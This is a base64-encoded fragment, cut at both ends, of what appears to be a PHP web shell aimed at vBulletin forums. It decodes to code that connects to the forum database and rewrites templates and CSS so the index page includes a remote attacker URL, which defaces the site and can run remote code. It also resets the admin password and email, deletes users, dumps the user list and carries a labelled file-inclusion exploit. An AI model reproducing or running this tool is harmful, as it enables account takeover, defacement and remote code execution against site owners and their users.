gIjxwPkluZGV4IHdhcyBDaGFuZ2VkIFN1Y2NlZnVsbHk8L3A+Ijt9ZWxzZXsNCmVjaG8gIjxwPkZhaWxlZCB0byBjaGFuZ2UgaW5kZXg8L3A+Ijt9DQokcmVzdWx0MT1teXNxbF9xdWVyeSgkV2R0Mik7DQppZiAoJHJlc3VsdDEpIHtlY2hvICI8cD5Eb25lIENyZWF0ZSBGaWxlPC9wPiI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30NCn0NCg0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0iaW5jIiAgJiYgaXNzZXQoJF9QT1NUWydsaW5rJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KJHZibGluayA9ICRfUE9TVFsnbGluayddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJGhhY2sxNSA9ICdVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuICdcJ1wnKX19eyR7ZXhpdCgpfX0mDQokX3BocGluY2x1ZGVfb3V0cHV0XCdXSEVSRSBgdGl0bGVgID1cJ0ZPUlVNSE9NRVwnOyc7DQokaGFjaz0gJ1VQREFURSBgc3R5bGVgIFNFVCBgY3NzYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuJ1wnXCcpfX17JHtleGl0KCl9fSYNCiRfcGhwaW5jbHVkZV9vdXRwdXRcJywgYHN0eWxldmFyc2AgPSBcJ1wnLCBgY3NzY29sb3JzYCA9IFwnXCcsIGBlZGl0b3JzdHlsZXNgID0gXCdcJyA7JzsNCiRyZXN1bHQ9bXlzcWxfcXVlcnkoJGhhY2sxNSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHJlc3VsdD1teXNxbF9xdWVyeSgkaGFjaykgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0ibWFpbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICAmJiBpc3NldCgkX1BPU1RbJ3ZibWFpbCddKSkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCiR2Ym1haWwgPSAkX1BPU1RbJ3ZibWFpbCddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIHNldCBlbWFpbD0iJyAuICR2Ym1haWwgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBFLU1BSUwgb2YgdGhlIHVzZXIgPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZidXNlciAuICc8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93PiB3YXMgY2hhbmdlZCB0byA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPicgLiAkdmJtYWlsIC4gJzwvZm9udD48YnI+QmFjayB0byA8YSBocmVmPSI/Ij5TaGVsbDwvYT48L2ZvbnQ+JzsNCn0gZWxzZSB7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9cmVkPkZhaWxlZCB0byBjaGFuZ2UgRS1NQUlMPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0icHN3IiAgJiYgaXNzZXQoJF9QT1NUWyd2YnVzZXInXSkgICYmIGlzc2V0KCRfUE9TVFsndmJwYXNzJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KJHZidXNlciA9ICRfUE9TVFsndmJ1c2VyJ107DQokdmJwYXNzID0gJF9QT1NUWyd2YnBhc3MnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdzZWxlY3QgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOw0Kd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkNCnsNCiRzYWx0ID0gJHJvd1snc2FsdCddOw0KJHggPSBtZDUoJHZicGFzcyk7DQokeCA9JHggLiAkc2FsdDsNCiRwYXNzX3NhbHQgPSBtZDUoJHgpOw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIHNldCBwYXNzd29yZD0iJyAuICRwYXNzX3NhbHQgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBwYXNzIG9mIHRoZSB1c2VyIDwvZm9udD48Zm9udCBjb2xvcj1yZWQ+JyAuICR2YnVzZXIgLiAnPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz4gd2FzIGNoYW5nZWQgdG8gPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZicGFzcyAuICc8L2ZvbnQ+PGJyPkJhY2sgdG8gPGEgaHJlZj0iPyI+U2hlbGw8L2E+PC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgc2l6ZT0zPjxmb250IGNvbG9yPXJlZD5GYWlsZWQgdG8gY2hhbmdlIFBhc3NXb3JkPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0ibG9naW4iKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9cHN3IiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgUGFzc3dvcmQ6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNoYW5nZSIgdmFsdWU9IkNoYW5nZSIgLz48L3RoPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZidXNlciIgdmFsdWU9ImFkbWluIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnBhc3MiIHZhbHVlPSJlZ3kgc3BpZGVyIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1tYWlsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgRS1NQUlMOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+VXNlciA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnVzZXIiIHZhbHVlPSJhZG1pbiIgLz48L3RkPjwvdHI+DQo8dHI+PHRkPk1BSUwgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0idmJtYWlsIiB2YWx1ZT0iZWd5X3NwaWRlckBob3RtYWlsLmNvbSIgLz48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9ZGVsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6RGVsZXRlIGEgdXNlcjo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlVzZXIgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0idmJ1c2VyIiB2YWx1ZT0iYWRtaW4iIC8+PC90ZD48L3RyPg0KPC90YWJsZT4NCjw/DQplY2hvJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imhvc3QiIHZhbHVlPSInIC4gJGhvc3QgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1c2VyIiB2YWx1ZT0iJyAuICR1c2VyIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFzcyIgdmFsdWU9IicgLiAkcGFzcyAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRiIiB2YWx1ZT0iJyAuICRkYiAuICciPic7DQo/Pg0KPC9mb3JtPg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPGZvcm0gbmFtZT0iY2hhbmdlcGFzcyIgYWN0aW9uPSI/YWN0PWluYyIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj4NCjx0aD46Ojo6OkNoYW5nZSBJbmRleCBieSBJbmNsdXNpb24oTm90IFBMKEVnWSBTcElkRXIpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPkluZGV4IExpbmsgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0ibGluayIgdmFsdWU9Imh0dHA6Ly93d3cuZWd5c3BpZGVyLmV1L2hhY2tlZC5odG1sIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1jb2RlIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIEluZGV4IGJ5IENvZGUoQWxsIEVkaXRpb24pOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+SW5kZXggQ29kZSA6IDwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPSJjb2RlIiBjb2xzPTYwIHJvd3M9MjA+PC90ZXh0YXJlYT48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9c2hlbGwiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpJbmplY3QgRmlsZUluY2x1c2lvbiBFeHBsb2l0KE5PVCBQTChBTC1NQVNTWUEpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlZhcmlhYmxlIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZhciIgdmFsdWU9InNoZWxsIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjw/DQp9DQppZiAoJGFjdCA9PSAnJyl7DQo/Pg0KPGZvcm0gbmFtZT0ibXlmb3JtIiBhY3Rpb249Ij9hY3Q9bG9naW4iIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQoNCjw/DQp9DQppZiAoJGFjdCA9PSAnbHN0JyAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ2RiJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHJlID0gbXlzcWxfcXVlcnkoJ3NlbGVjdCAqIGZyb20gdXNlcicpOw0KZWNobyc8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPklEPC90aD48dGg+VVNFUk5BTUU8L3RoPjx0aD5FTUFJTDwvdGg+JzsNCndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlKSkNCnsNCmVjaG8nPHRyPjx0ZD4nIC4gJHJvd1sndXNlcmlkJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ3VzZXJuYW1lJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ2VtYWlsJ10gLiAnPC90ZD48L3RyPic7DQp9DQplY2hvJzwvdGFibGU+JzsNCj8+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPjw/DQokY291bnQgPSBteXNxbF9udW1fcm93cygkcmUpOw0KZWNobyAnTnVtYmVyIG9mIHVzZXJzIHJlZ2lzdGVyZWQgaXMgOiBbICcgLiAkY291bnQgLiAnIF0nOw0KID8+PC90aD48L3RhYmxlPg0KPD8NCn0NCmlmICgkYWN0ID09ICd1c2Vycycpew0KPz4NCiA8Zm9ybSBuYW1lPSJteWZvcm0iIGFjdGlvbj0iP2FjdD1sc3QiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzd